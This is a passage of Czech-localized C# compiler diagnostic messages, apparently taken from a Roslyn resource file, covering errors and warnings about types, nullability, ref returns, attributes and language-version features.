{1}). + Vlastnost nebo indexer {0} nejde v tomto kontextu použít, protože přistupující objekt jet není dostupný. + Modifikátor scoped parametru {0} neodpovídá cílovému objektu {1}. + Výraz {0} není platným výrazem převodu C#. + Pojmenovaný argument {0} určuje parametr, pro který už byl poskytnut poziční argument. + Nejde převést skupinu metod {0} na nedelegující typ {1}. Chtěli jste volat tuto metodu? + Přepínač /win32manifest pro modul se bude ignorovat, protože se vztahuje jenom k sestavením. + Příkaz foreach vyžaduje, aby typ vracených hodnot {0} pro {1} měl vhodnou veřejnou metodu MoveNext a veřejnou vlastnost Current. + (Umístění symbolu vzhledem k předchozímu upozornění) + Inicializátory pole jde používat jenom v inicializátoru pole nebo proměnné. Zkuste použít výraz new. + <null> + <text> + výchozí omezení parametru typu + Mezi {0} a delegátem {1} se neshoduje odkaz. + {0}: Nejde přepsat, protože {1} není funkce. + implicitně typovaná lokální proměnná + Člen záznamu {0} musí být čitelná vlastnost instance nebo pole typu {1}, která se bude shodovat s pozičním parametrem {2}. + {0} nemůže implementovat člen rozhraní {1} v typu {2}, protože cílový modul runtime nepodporuje implementaci výchozího rozhraní. + Struktura vloženého pole musí deklarovat pouze jedno pole instance. + Předdefinovaný typ {0} musí být struktura. + Přístup k vloženému poli nemůže mít specifikátor pojmenovaného argumentu. + implicitně typované pole + Pomocí Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier nebo Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier můžete vytvořit tokeny identifikátorů. + Klíčové slovo delegate nelze použít jako omezení. Měli jste na mysli System.Delegate? + {0}: Typ použitý v příkazu using musí být implicitně převeditelný na System.IDisposable. + Možná došlo k neúmyslnému porovnání ukazatelů; chcete-li porovnat hodnoty, přetypujte levou stranu na typ {0}. + Specifikátor rozsahu je neplatný. Očekávala se čárka (,) nebo pravá hranatá závorka ]. + Přistupující objekt vlastnosti je už definovaný. + Proměnnou s implicitním typem nejde inicializovat inicializátorem pole. + Konstanta obsahuje znak nového řádku. + Očekávala se možnost warnings nebo annotations nebo konec direktivy. + Nedá se vytvořit instance analyzátoru. + Tělo {0} nemůže být blok iterátoru, protože {1} není typ rozhraní iterátoru. + Výraz přiřazovaný proměnné {0} musí být konstantou. + Velikost pole nejde určit v deklaraci proměnné (zkuste inicializaci pomocí výrazu new). + Výraz filtru je konstantní hodnota false. + {0}: Abstraktní událost nemůže mít inicializátor. + Naimportovalo se víc sestavení s ekvivalentní identitou: {0} a {1}. Odeberte jeden z duplicitních odkazů. + {0}: Typ použitý v příkazu using musí být implicitně převoditelný na System.IDisposable. Neměli jste v úmyslu použít await using místo using? + Typ {1} v {0} je v konfliktu s oborem názvů {3} v {2}. + Vstup vždy odpovídá zadanému vzoru + Parametr {0} je zachycen do stavu nadřazeného typu a jeho hodnota se také používá k inicializaci pole, vlastnosti nebo události. + CallerLineNumberAttribute nebude mít žádný efekt, protože platí pro člena, který se používá v kontextech nedovolujících nepovinné argumenty. + Očekával se typ. + Pozice musí být v rozpětí stromu syntaxe. + inicializátory modulů + Strom výrazu nesmí obsahovat inicializátor vícedimenzionálního pole. + Cílový modul runtime nepodporuje rozšiřitelné konvence volání ani konvence volání výchozí pro prostředí modulu runtime. + Argument InterpolatedStringHandlerArgument nemá při použití u parametrů lambda žádný účinek a bude se ignorovat v lokalitě volání. + Rozhraní nemůžou obsahovat pole instance. + {0} nejde vrátit pomocí odkazu, protože bylo inicializované na hodnotu, která nemůže být vrácená pomocí odkazu. + Globální direktiva using musí předcházet všem direktivám using, které nejsou globální. + Neočekávané použití názvu v aliasu + V metodě rozšíření nejde použít pole parametrů s modifikátorem this. + Volání do metody {0} je nutné volat dynamicky, což ale není možné, protože je součástí výrazu základního přístupu. Zvažte přetypování dynamických argumentů nebo eliminaci základního přístupu. + Před vrácením řízení volajícímu se musí plně přiřadit automaticky implementovaná vlastnost. Zvažte aktualizaci jazykové verze na automatické výchozí nastavení vlastnosti. + {0}: Typ nemůže být zároveň statický i zapečetěný. + Částečné deklarace {0} musí být jen třídy, jen třídy záznamů, jen struktury, jen struktury záznamů nebo jen rozhraní. + rozšíření GetEnumerator + Název typu {0} obsahuje jenom malá písmena ASCII. Tyto názvy se můžou stát vyhrazenými pro daný jazyk. + Pole kompatibilní se specifikací CLS {0} nemůže být typu volatile. + Tuto verzi {0} nelze použít s výrazy kolekce. + Očekávalo se kontextové klíčové slovo equals. + 'Syntaxe id# už není podporovaná. Použijte místo ní syntaxi $id. + Zadané číslo řádku a znaku neodkazuje na začátek tokenu {0}. Chtěli jste použít řádek {1} a znak {2}? + Vstupním bodem programu je globální kód. Vstupní bod se ignoruje + Typ odkazu s možnou hodnotou null v typu parametru {0} z {1} neodpovídá implicitně implementovanému členu {2}. + Pole se nikdy nepoužívá. + Objekt {0} se dá uvolnit víc než jednou. + Strom výrazů nesmí obsahovat operátor řazené kolekce členů == nebo !=. + {0} neimplementuje člena rozhraní {1}. {2} nemůže implementovat {1}, protože nemá odpovídající návrat pomocí odkazu. + {0} se nedá použít jako modifikátor v parametru ukazatele na funkci. + K vyrovnávacím pamětem s pevnou velikostí jde získat přístup jenom prostřednictvím lokálních proměnných nebo polí. + Komentář XML u {1} má značku typeparamref pro {0}, ale neexistuje parametr typu s tímto názvem. + Jeden z parametrů rovnosti nebo operátor nerovnosti deklarovaný v rozhraní {0} musí být parametrem typu v objektu {0} omezeném na: {0}. + literály nezpracovaného řetězce + podmíněný výraz s typem cíle + přepsání tvůrce asynchronní metody + V atributech cref by měly být kvalifikované vnořené typy obecných typů. + Strom výrazu nemůže obsahovat specifikaci pojmenovaného argumentu. + Neplatný typ cíle pro parametr /target: Je nutné použít možnost exe, winexe, library nebo module. + Do statického pole určeného jen pro čtení nejde přiřazovat (kromě případu, kdy se nachází uvnitř statického konstruktoru nebo inicializátoru proměnné). + K členovi {0} nejde přistupovat pomocí odkazu na instanci. Namísto toho použijte kvalifikaci pomocí názvu typu. + Pravděpodobně nesprávné přiřazení místní hodnotě, která je argumentem příkazu using nebo lock + Požadovaný člen {0} by neměl být přiřazen atributem ObsoleteAttribute, pokud není obsahující typ zastaralý nebo jsou zastaralé všechny konstruktory. + Statická anonymní funkce nemůže obsahovat odkaz na {0}. + Řízení nemůže opustit tělo klauzule finally. + Parametr {0} se zachytil do stavu nadřazeného typu a jeho hodnota se také předala základnímu konstruktoru. Hodnotu může zachytit i základní třída. + Uzel syntaxe není ve stromu syntaxe. + Vrácení podle odkazu se dají používat jenom v metodách, které vracejí pomocí odkazu. + Může jít o vrácený odkaz null. + Typ {3} nejde použít jako parametr typu {2} v obecném typu nebo metodě {0}. Typ argumentu {3} s možnou hodnotou null neodpovídá typu omezení {1}. + Daný výraz vždy odpovídá zadanému vzoru. + Typ {0} nemůže být deklarovaný jako const. + Neporovnávat hodnoty ukazatelů funkcí + Asynchronní metody nemůžou mít parametry ref, in nebo out. + Řízení nemůže opustit příkaz switch z posledního příkazu case ('{0}') + Direktiva using pro {0} se objevila už dřív v tomto oboru názvů. + Vlastnost, indexer nebo událost {0} nejsou tímto jazykem podporované. Zkuste přímo volat metodu přistupujícího objektu {1}. + Vlastnost, indexer nebo událost {0} nejsou tímto jazykem podporované. Zkuste přímo volat metody přistupujícího objektu {1} nebo {2}. + {0}: Uživatelem definované převody na rozhraní nebo z něho nejsou povolené. + Když používáte refonly, nepoužívejte refout. + Parametr ref, out nebo in {0} nejde použít uvnitř anonymní metody, výrazu lambda, výrazu dotazu nebo lokální funkce. + Výsledek výrazu je vždycky null. + Nepovedlo se vygenerovat modul {0}: {1} + výraz throw + Metoda {0} nemůže implementovat přistupující objekt rozhraní {1} pro typ {2}. Použijte explicitní implementaci rozhraní. + atributy místních funkcí + Alias {0} je v konfliktu s definicí {1}. + {0} neobsahuje definici pro {1}. + Integrální konstanta je moc velká. + Nepovedlo se najít soubor. + Deklarace není v tomto kontextu povolená. + Vstupní bod, který vrací void nebo int, nemůže být asynchronní. + Komentář XML má značku typeparamref, ale neexistuje parametr typu s tímto názvem. + Lokální název je moc dlouhý pro PDB. + Atribut Guid musí být zadaný současně s atributem ComImport. + Typ odkazu s možnou hodnotou null v typu parametru {0} neodpovídá přepsanému členu. + V těle bloku try s klauzulí catch nejde uvést hodnotu příkazu yield. + Explicitní implementace rozhraní se shoduje s víc než jedním členem rozhraní. + Při vytváření modulu nebo knihovny nejde použít přepínač /main. + V asynchronním příkazu foreach nejde použít kolekce dynamického typu. + Typ odkazu s možnou hodnotou null ve vráceném typu neodpovídá implicitně implementovanému členu. + Typ slouží jen pro účely vyhodnocení a v budoucích aktualizacích může dojít ke změnám nebo odebrání. Potlačte tuto diagnostiku, abyste mohli pokračovat. + statická anonymní funkce + Argument {0} by se měl předat s klíčovým slovem ref nebo in. + Není povolené použití výrazu typu {0} v následné klauzuli from ve výrazu dotazu s typem zdroje {1}. Nepovedlo se odvození typu při volání funkce {2}. + operátor šířící null + Sestavení {0} a {1} odkazují na stejná metadata, ale jenom v jednom případě je to propojený odkaz (zadaný s možností /link). Zvažte odebrání jednoho z odkazů. + kovariantní návratové hodnoty + kovariant + Neočekávaný seznam argumentů + Členy s názvem Clone se v záznamech nepovolují. + Pole vyrovnávací paměti pevné velikosti můžou být jenom členy struktur. + Strom výrazů nesmí obsahovat převod řazené kolekce členů. + Řádek nezačíná stejným prázdným znakem jako ukončovací řádek literálu nezpracovaného řetězce. + statické abstraktní členy v rozhraní + Nejde přečíst konfigurační soubor {0} -- {1}. + Volání implicitního indexeru indexů nemůže pojmenovat argument. + Asynchronní výrazy lambda nejde převést na stromy výrazů. + Parametr typu {1} má omezení struct, takže není možné používat {1} jako omezení pro {0}. + člen instance v nameof + Předdefinovaný typ {0} není definovaný ani importovaný. + Operace může při běhu přetéct {0} (pro přepis použijte syntaxi unchecked) + Možnou hodnotu null není možné použít pro typ označený jako [NotNull] nebo [DisallowNull]. + Přístupový objekt init není platný pro statické členy. + Argument typu nemůže být null. + Deklarace externího aliasu musí předcházet všem ostatním prvkům definovaným v oboru názvů. + Neplatná možnost {0} pro /platform. Musí být anycpu, x86, Itanium, arm, arm64 nebo x64. + Argument atributu {0} musí být platný identifikátor. + Proměnné smyčky for odkazu + CallerMemberNameAttribute použitý u parametru {0} nebude mít žádný účinek. Přepíše ho CallerFilePathAttribute. + K prvkům typu vloženého pole lze přistupovat pouze s jedním argumentem implicitně převoditelným na int, System.Index nebo System.Range. + Nekonzistentní dostupnost: Typ vrácené hodnoty {1} je míň dostupný než delegát {0}. + Atribut zabezpečení {0} nejde použít pro metodu Async. + Atributy sestavení a modulu musí předcházet přede všemi ostatními prvky definovanými v souboru s výjimkou klauzulí using a deklarací externích aliasů. + Typ nelze v tomto kontextu použít, protože se nedá reprezentovat v metadatech. + Byl vytvořený odkaz na vložené definiční sestavení z důvodu nepřímého odkazu na toto sestavení. + Člen struktury vrací this nebo jiné členy instance pomocí odkazu + Nespravovaný typ {0} je platný jenom pro pole. + Nepovedlo se určit výstupní adresář. + Víceřádkové literály nezpracovaných řetězců musí obsahovat alespoň jeden řádek obsahu. + Druhý operand operátoru is nebo as nesmí být statického typu {0}. + Přetěžovaný unární operátor {0} převezme jeden parametr. + K vytvoření objektu nejde použít nezabezpečený typ {0}. + Čísla řádků a znaků poskytnutá atributu InterceptsLocationAttribute musí být kladná. + Řídící výraz switch je nutné uzavřít do závorek. + Použil se nepřiřazený parametr out {0}. + kontravariant + Parametr {0} je nepřečtený. + Pro členy rozhraní je atribut Conditional neplatný. + Nejde změnit výsledek unboxingového převodu. + Atributy ref a out nejsou v tomto kontextu platné. + Koncová značka {0} neodpovídá počáteční značce {1}. + Pravá strana přiřazení příkazu fixed nemůže být výrazem přetypování. + rozšiřující metody REF + Členy pole jen pro čtení {0} nejde měnit (kromě případu, kdy se nacházejí uvnitř konstruktoru nebo inicializátoru proměnné). + Předpokládá se, že odkaz na sestavení {0}, který používá {1}, odpovídá identitě {2} pro {3}. Možná budete muset zadat zásady pro běh. + Typy řazené kolekce členů, které se používají jako operandy operátoru == nebo !=, musí mít odpovídající kardinality. U tohoto operátoru je ale kardinalita typů řazené kolekce členů vlevo {0} a vpravo {1}. + Hodnota SecurityAction {0} není platná pro atributy zabezpečení použité u sestavení. + {0} nepřepisuje očekávanou metodu z object. + Proměnná rozsahu {0} je v konfliktu s předchozí deklarací {0}. + rozšíření GetAsyncEnumerator + Typ {2} musí být typ, který nemůže mít hodnotu null, ani nesmí v žádné úrovni vnoření obsahovat pole, které by ji povolovalo, aby se dal použít jako parametr {1} v obecném typu nebo metodě {0}. + Typ nebo název oboru názvů {0} se nenašel. (Nechybí direktiva using nebo odkaz na sestavení?) + Očekávalo se kontextové klíčové slovo on. + Očekávalo se kontextové klíčové slovo by. + Typ {3} nejde použít jako parametr typu {2} v obecném typu nebo metodě {0}. Neexistuje žádný převod na uzavřené určení z {3} na {1}. + Metoda rozšíření musí být statická. + Neplatný typ vrácené hodnoty v atributu cref komentáře XML + {0} je zastaralá: {1}. + Sestavení {0} neobsahuje žádné analyzátory. + Tělo metody async-iterator musí obsahovat příkaz yield. + kovariantně + Vytvořil se odkaz na vložené sestavení vzájemné spolupráce {0}, protože existuje nepřímý odkaz na toto sestavení ze sestavení {1}. Zvažte změnu vlastnosti Vložit typy vzájemné spolupráce u obou sestavení. + U zdrojového souboru se překročil limit 16 707 565 řádků, které může soubor PDB obsahovat. Ladicí informace budou nesprávné. + kolekce + Nepoužívejte System.Runtime.CompilerServices.DynamicAttribute. Místo toho použijte klíčové slovo dynamic. + {0} nejde označit jako kompatibilní se specifikací CLS, protože sestavení nemá atribut CLSCompliant. + Není možné znovu přiřadit {1} k {0}, protože {1} může opustit aktuální metodu pouze prostřednictvím příkazu return. + Zadaná verze jazyka je nepodporovaná nebo neplatná: {0}. + Očekával se příkaz s výrazem nebo deklarací. + Modifikátor scoped parametru {0} neodpovídá částečné deklaraci metody. + Vlastnost nebo indexer {0} nejde přiřadit – je jen pro čtení. + Návratový typ metody, delegáta nebo ukazatele na funkci nemůže být {0}. + Očekával se identifikátor nebo jednoduchý přístup člena. + Tato funkce vrací místní {0} podle odkazu, ale nejedná se o místní odkaz + Odkaz analyzátoru byl zadán vícekrát + Částečné deklarace metod mají nekonzistentní možnost použití hodnoty null v omezeních parametru typu. + Nekonzistentní dostupnost: Typ pole {1} je míň dostupný než pole {0}. + Možnost /pdb vyžaduje taky použití možnosti /debug . + 'Daný výraz is je vždycky zadaného typu. + Globální direktiva using se nedá použít v deklaraci oboru názvů. + #pragma + Aby se typ {0} dal použít jako konvence volání, musí být veřejný. + Požadovaný člen {0} musí být nastavitelný. + Každý propojený prostředek a modul musí mít jedinečný název souboru, ale {0} se v tomto sestavení objevuje víc než jednou. + Vyvolejte System.IDisposable.Dispose() u přidělené instance, než budou všechny odkazy na ni mimo rozsah. + Pro přístupové objekty vlastnosti i indexeru {0} nelze zadat modifikátory readonly. Místo toho zadejte modifikátor readonly jenom pro vlastnost. + zastaralé u přístupového objektu vlastnosti + Metoda obslužné rutiny interpolovaného řetězce {0} má nekonzistentní návratový typ. Očekávalo se, že se vrátí {1}. + Strom výrazu lambda nesmí obsahovat volání COM, které v argumentech vynechává parametr Ref. + Parametr params nejde deklarovat jako {0}. + V příkazu foreach se vyžaduje typ i identifikátor. + Argument {0}: Nejde převést z {1} na {2}. + Specifikace pojmenovaných argumentů musí následovat po specifikaci všech pevných argumentů. Pokud chcete povolit pojmenované argumenty, které nejsou na konci, použijte prosím jazyk verze {0} nebo vyšší. + Řetězec musí začínat znakem uvozovek: " + Omezení pro parametr typu {0} metody {1} se musí shodovat s omezeními u parametru typu {2} metody rozhraní {3}. Místo toho zvažte použití explicitní implementace rozhraní. + Proměnnou rozsahu {0} nejde vrátit pomocí odkazu. + Typ odkazu s možnou hodnotou null v typu neodpovídá implementovanému členu {0}. + Iterátory nesmí obsahovat nezabezpečený kód. + Zachycovací objekt nelze označit atributem UnmanagedCallersOnlyAttribute. + Operátor typeof nejde použít na typ odkazů s možnou hodnotou null. + Konstrukce __arglist je platná jenom v rámci metody s proměnnými argumenty. + Typ podmíněného výrazu nejde určit, protože {0} a {1} se implicitně převádějí jeden na druhého. + Možnou hodnotu null není možné použít pro typ označený jako [NotNull] nebo [DisallowNull]. + obslužné rutiny interpolovaných řetězců + 'new není možné použít s typem řazené kolekce členů. Použijte raději literálový výraz řazené kolekce členů. + Neočekávaný token {0} + Výraz musí být typu {0}, aby odpovídal alternativní hodnotě ref. + Místní proměnná nebo místní funkce {0} deklarovaná v příkazu nejvyšší úrovně v tomto kontextu se nedá použít. + {0}: Nejde odvozovat ze zapečetěného typu {1}. + Modifikátor ref pro argument {0} odpovídající parametru in je ekvivalentní k in. Zvažte možnost použít místo toho in. + stackalloc ve vnořených výrazech + Vstupní bod ladění musí být definicí metody deklarované v aktuální kompilaci. + Není nadefinované řazení mezi poli ve více deklaracích částečné struktury. + Předpokládá se, že odkaz na sestavení {0}, který používá {1}, odpovídá identitě {2} pro {3}. Možná budete muset zadat zásady pro běh. + Typ odkazu s možnou hodnotou null ve vráceném typu neodpovídá implementovanému členu. + Skupina metod se nedá převést na ukazatel na funkci (nechybí &)? + Komentář XML má značku typeparam pro {0}, ale neexistuje parametr typu s tímto názvem. + Parametr atributu {0} nebo {1} musí být zadaný. + Parametr atributu {0} musí být zadaný. + metoda s výrazem v těle + Nejde použít parametr primárního konstruktoru {0}, který má uvnitř členu instance typ podobný odkazu. + CallerFilePathAttribute nebude mít žádný vliv, protože se vztahuje na člen, který je použitý v kontextech nepovolujících volitelné argumenty. + Když se používá přepínač /refout nebo /refonly, nejde zkompilovat síťové moduly. + Typ {3} nejde použít jako parametr typu {2} v obecném typu nebo metodě {0}. Typ {3} s možnou hodnotou null nevyhovuje omezení {1}. Typy s možnou hodnotou null nemůžou vyhovět žádným omezením rozhraní. + Chybně vytvořený kód XML v zahrnutém souboru komentářů + Obor názvů {1} obsahuje definici, která je v konfliktu s aliasem {0}. + Neplatný název sestavení: {0} + Strom výrazů nesmí obsahovat zahození. + vzor not + Argument should be passed with the 'in' keyword + Použití operátoru is pro testování kompatibility s typem dynamic je v podstatě totožné s testováním kompatibility s typem Object. + Částečná metoda {0} musí mít implementační část, protože má modifikátory přístupnosti. + Direktivu using namespace jde uplatnit jenom u oborů názvů; {0} je typ, ne obor názvů. Zkuste radši použít direktivu using static. + Členy pole jen pro čtení {0} nejde použít jako hodnotu Ref nebo Out (kromě případu, kdy se nachází uvnitř konstruktoru). + Chyba syntaxe příkazového řádku: Neplatný formát GUID {0} pro možnost {1} + Nepoužívejte „_“ jako odkaz na typ ve výrazu is-type. + Výchozí literál default není platný jako vzor. Podle potřeby použijte jiný literál (například 0 nebo null). Pokud chcete, aby odpovídalo vše, použijte vzor discard „_“. + V atributech cref by měly být kvalifikované vnořené typy obecných typů. + Atribut CallerLineNumberAttribute jde použít jenom pro parametry s výchozími hodnotami. + Výsledek výrazu je vždycky {0}, protože hodnota typu {1} se nikdy nerovná hodnotě null typu {2}. + Nejde vrátit hodnotu z iterátoru. K vrácení hodnoty použijte příkaz yield return. K ukončení opakování použijte příkaz yield break. + Generátoru se nepovedlo vygenerovat zdroj + Očekávala se hodnota disable nebo restore. + Možnost {0} musí být absolutní cesta. + Neplatná verze {0} pro /subsystemversion. Verze musí být 6.02 nebo vyšší pro ARM nebo AppContainerExe a 4.00 nebo vyšší v ostatních případech. + Neplatný deklarátor členu inicializátoru + výčet obecných omezení typu + Možnost pathmap nebyla správně naformátovaná. + Typ vyrovnávací paměti pevné velikosti musí být následující: bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float nebo double. + Tato kombinace argumentů pro {0} je zakázaná, protože může vystavit proměnné, na které odkazuje parametr {1}, mimo jejich rozsah deklarace. + Konstantní hodnotu {0} nejde převést na typ {1}. + Argument {0} se nesmí předávat s klíčovým slovem {1}. + Vlastnost nebo indexer {0} nejde v tomto kontextu použít, protože přistupující objekt get není dostupný. + místní funkce + Ref vracející vlastnosti se nedá vyžadovat. + řazené kolekce členů + externí alias + Neplatný prvek direktivy include XML -- {0} + Pokud se nepoužívá verze jazyka {0} nebo novější, musí být pro parametr typu s možnou hodnotou null známo, že má typ hodnoty nebo typ odkazu, který není možné nastavit na null. Zvažte možnost změnit verzi jazyka nebo přidat class, struct nebo omezení typu. + Hodnota zarovnání má velikost, jejímž výsledkem může být velký formátovaný řetězec. + Strom výrazů nesmí obsahovat přístup k vloženému poli nebo převod. + Zachycený nebo vyvolaný typ musí být odvozený od třídy System.Exception. + Nejsou zadané žádné zdrojové soubory. + Atribut {0} se ignoruje, když je zadané veřejné podepisování. + Vyrovnávací paměť pevné velikosti s délkou {0} a typem {1} je moc velká. + {0} nemůže implementovat {1}, protože ho tento jazyk nepodporuje. + Funkce {0} není v C# 8.0 dostupná. Použijte prosím jazykovou verzi {1} nebo větší. + Funkce {0} není v C# 9.0 dostupná. Použijte prosím jazykovou verzi {1} nebo větší. + Funkce {0} není dostupná v jazyce C# 2. Použijte prosím jazyk verze {1} nebo vyšší. + Funkce {0} není dostupná v jazyce C# 3. Použijte prosím jazyk verze {1} nebo vyšší. + Funkce {0} není dostupná v jazyce C# 1. Použijte prosím jazyk verze {1} nebo vyšší. + Funkce {0} není dostupná v jazyce C# 6. Použijte prosím jazyk verze {1} nebo vyšší. + Funkce {0} není dostupná v jazyce C# 7.0. Použijte prosím jazyk verze {1} nebo vyšší. + Funkce {0} není dostupná v jazyce C# 4. Použijte prosím jazyk verze {1} nebo vyšší. + Funkce {0} není dostupná v jazyce C# 5. Použijte prosím jazyk verze {1} nebo vyšší. + Metoda {0} určuje omezení struct pro parametr typu {1}, ale odpovídající parametr typu {2} přepsané nebo explicitně implementované metody {3} není typ, který nemůže mít hodnotu null. + parametr /LIB + Atribut Conditional není pro {0} platný, protože jeho návratový kód není void. + Zachycovací zařízení nesmí mít parametr this, protože {0} nemá parametr this. + vzor typu + Prostředek použitého příkazu typu {0} nejde použít v asynchronních metodách ani v asynchronních výrazech lambda. + Atribut DllImport se nedá použít u metody, která je obecná nebo obsažená v obecné metodě nebo typu. + Konstruktor struktury bez parametrů musí být public. + Použila se nepřiřazená lokální proměnná {0}. + Vlastnost nebo indexer nevracející odkaz nejde použít jako hodnotu out nebo ref. + Člen za běhu přepíše základního člena s více kandidáty na přepsání. + {0} nejde vrátit pomocí odkazu, protože je to {1}. + Přeskočí načtení typů v sestavení analyzátoru, které selžou kvůli výjimce ReflectionTypeLoadException. + Pole vloženého elementu pole nelze deklarovat jako povinné, jen pro čtení, nestálé nebo jako vyrovnávací paměť pevné velikosti. + Metoda označená jako [DoesNotReturn] by se neměla ukončit standardním způsobem + Příkazy nejvyšší úrovně může mít jen jedna jednotka kompilace. + Parametry nebo lokální proměnné typu {0} nemůžou být deklarované v asynchronních metodách nebo asynchronních výrazech lambda. + Nenašla se žádná definující deklarace pro implementující deklaraci částečné metody {0}. + implementace výchozího rozhraní + Odkaz na typ {0} se deklaruje jako definovaný v tomto sestavení, ale není definovaný ve zdroji ani v žádných přidaných modulech. + Jako název sestavení typu Friend nejde předat hodnotu Null. + Určená výchozí hodnota nebude mít žádný efekt, protože platí pro člena, který se používá v kontextech nedovolujících nepovinné argumenty. + Návratová hodnota musí být jiná než null, protože parametr není null + Prázdný blok switch + {0}: Abstraktní typ nemůže být sealed ani static. + Zavedení metody Finalize se může rušit s vyvoláním destruktoru. + Objekt this nelze použít před přiřazením všech jeho polí. Zvažte aktualizaci na jazykovou verzi {0} na automatické výchozí nastavení nepřiřazených polí. + Posloupnost znaků @ se nepovoluje. Doslovný řetězec nebo identifikátor může obsahovat pouze jeden znak @ a nezpracovaná hodnota nemůže obsahovat žádný z těchto znaků. + Zdrojový soubor může obsahovat pouze jednu deklaraci oboru názvů pro celý soubor. + Daný výraz vždy odpovídá zadanému vzoru. + V deklaracích příkazů fixed a using je nutné zadat inicializátor. + Typ vrácené hodnoty operátorů ++ a -- musí odpovídat danému typu parametru nebo z něho musí být odvozený. + Neplatná odchylka: Parametr typu {1} musí být {3} platný v {0}. {1} je {2}. + Povinní členové nejsou povoleni na nejvyšší úrovni skriptu nebo odeslání. + {0}: Uživatelsky definované převody na dynamický typ nebo z dynamického typu nejsou povolené. + AppConfigPath musí být absolutní. + Atributy cílící na pole se u automatických vlastností v jazyku verze {0} nepodporují. Použijte prosím jazyk verze {1} nebo vyšší. + {0}: abstraktní událost nemůže používat syntaxi přístupového objektu události. + Atribut [EnumeratorCancellation] nejde použít na víc parametrů. + Použití člena výsledku {0} v tomto kontextu může vystavit proměnné, na které odkazuje parametr {1}, mimo rozsah jejich oboru. + CallerFilePathAttribute použitý u parametru {0} nebude mít žádný účinek. Přepíše ho CallerLineNumberAttribute. + Možná chybný prázdný příkaz + atributy lambda + Výraz lambda s atributy nejde převést na strom výrazu. + Typ {3} nejde použít jako parametr typu {2} v obecném typu nebo metodě {0}. Neexistuje žádný převod na uzavřené určení ani převod typu parametru z {3} na {1}. + Chybně vytvořený kód XML v zahrnutém souboru komentáře -- {0} + Relační vzory se nedají použít pro hodnotu Není číslo s plovoucí desetinnou čárkou. + Automaticky implementované vlastnosti musí přepsat všechny přistupující objekty přepsané vlastnosti. + Klíčové slovo enum nelze použít jako omezení. Měli jste na mysli struct, System.Enum? + Dílčí výraz se jako argument nameof nedá použít. + Větve podmíněného operátoru REF nemůžou odkazovat na proměnné s nekompatibilními obory deklarace. + Pole vyrovnávací paměti s pevnou velikostí musí mít za názvem pole uvedený specifikátor velikosti pole. + ukazatel na funkci + Direktiva #warning + Žádné přetížení pro metodu {0} nepřevezme tento počet argumentů: {1}. + Ve výrazu typu {0} nejde použít indexování pomocí hranatých závorek ([]). + Hodnota direktivy #line chybí nebo je mimo rozsah. + Attribute parameter 'SizeConst' must be specified. + {0} není platné omezení. Typ použitý jako omezení musí být rozhraní, nezapečetěná třída nebo parametr typu. + Nejednoznačný odkaz v atributu cref: {0}. Předpokládá se {1}, ale mohla se najít shoda s dalšími přetíženími, včetně {2}. + Třída {0} nemůže mít víc základních tříd: {1} a {2}. + {0} přepisuje Object.Equals(object o), ale nepřepisuje Object.GetHashCode(). + Zachycovací objekt nemůže mít cestu k souboru null. + Nepotřebná direktiva using + Nelze najít přístupnou metodu '{0}' s očekávaným podpisem: statická metoda s jedním parametrem typu ReadOnlySpan<{1}> a návratovým typem '{2}'. + Název {0} v aktuálním kontextu neexistuje. + Příkazy break a continue nejsou uvedené ve smyčce. + Explicitní implementace rozhraní {0} odpovídá víc než jednomu členovi rozhraní. Konkrétní výběr člena rozhraní závisí na implementaci. Zvažte možnost použití neexplicitní implementace. + Typ odkazu s možnou hodnotou null v typu parametru {0} neodpovídá implementovanému členu {1} (pravděpodobně kvůli atributům možnosti použití hodnoty null). + Odkaz na nedefinovanou entitu {0} + Komentáře XML má chybně vytvořený kód -- {0} + Vlastnosti, které vracejí pomocí odkazu, musí mít přístupový objekt get. + Členy s atributem ObsoleteAttribute by se neměly vyžadovat, pokud není nadřazený typ zastaralý nebo nejsou všechny konstruktory zastaralé. + Nekonzistentní dostupnost: Základní rozhraní {1} je míň dostupné než rozhraní {0}. + Strom výrazů nesmí obsahovat výraz anonymní metody. + výraz lambda + Parametr se zachytil do stavu nadřazeného typu a jeho hodnota se také předala základnímu konstruktoru. Hodnotu může zachytit i základní třída. + Očekávala se definice typu nebo oboru názvů, nebo konec souboru. + Neukončený řetězcový literál + Neplatný typ omezení. Typ použitý jako omezení musí být rozhraní, nezapečetěná třída nebo parametr typu. + Druhý operand operátoru is nebo as nesmí být statického typu + Výraz způsobí výjimku System.NullReferenceException, protože výchozí hodnota pro typ je null. + UnscopedRefAttribute nelze použít na implementaci rozhraní. + Klíčová slova is a as nejsou platná pro ukazatele. + Parametr typu má stejný název jako parametr typu z vnějšího typu. + Pro literál nezpracovaného řetězce není dost uvozovek. + {0}: Rozhraní kompatibilní se specifikací CLS musí obsahovat jenom členy kompatibilní se specifikací CLS. + Výraz anonymní metody nejde převést na strom výrazu. + Zdrojový soubor je zadaný několikrát. + V komentáři se používá nesprávná syntaxe. + Rozšiřující metoda Add není pro inicializátor kolekce v lambda výrazu podporovaná. + Atribut {0} je platný jenom pro indexer, který nepředstavuje explicitní deklaraci člena rozhraní. + {0} není třída atributu. + Typ nejde použít jako parametr typu v obecném typu nebo metodě. Argument typu s možnou hodnotou null neodpovídá omezení notnull. + V konstantním výrazu nejde použít anonymní typ. + Výrazy a příkazy se můžou vyskytnout jenom v těle metody. + Typ {0} není platný pro using static. Lze použít pouze třídu, strukturu, rozhraní, výčet, delegáta nebo obor názvů. + Typ {0} není kompatibilní se specifikací CLS. + Operátor {0} je na operandech {1} a {2} nejednoznačný. + Typ argumentu {0} není kompatibilní se specifikací CLS. + Parametr params musí být jednorozměrné pole. + Vstupním bodem programu je globální kód. Vstupní bod {0} se ignoruje. + Nejde volat abstraktní základní člen: {0}. + Hodnotu Null nejde převést na parametr typu {0}, protože by se mohlo jednat o typ, který nemůže mít hodnotu null. Zvažte možnost použití výrazu default({0}). + Funkce není součástí standardizované specifikace ISO jazyka C# a možná ji nepůjde použít v ostatních kompilátorech + '&' pro skupiny metod se nedá použít ve stromech výrazů. + Lokální proměnná deklarovaná v příkazu fixed nemůže být typu ukazatel na funkci. + Předal se určitý počet parametrů ({0}) a jiný počet druhů odkazů na parametry ({1}). Tato pole musí být stejně velká. + Člen lokální proměnné {0} nejde vrátit pomocí odkazu, protože nejde o lokální proměnnou podle odkazu. + Pole, které nemůže být null, musí při ukončování konstruktoru obsahovat hodnotu, která není null. Zvažte možnost deklarovat ho jako pole s možnou hodnotou null. + {0} nemá žádnou základní třídu a nemůže volat konstruktor base. 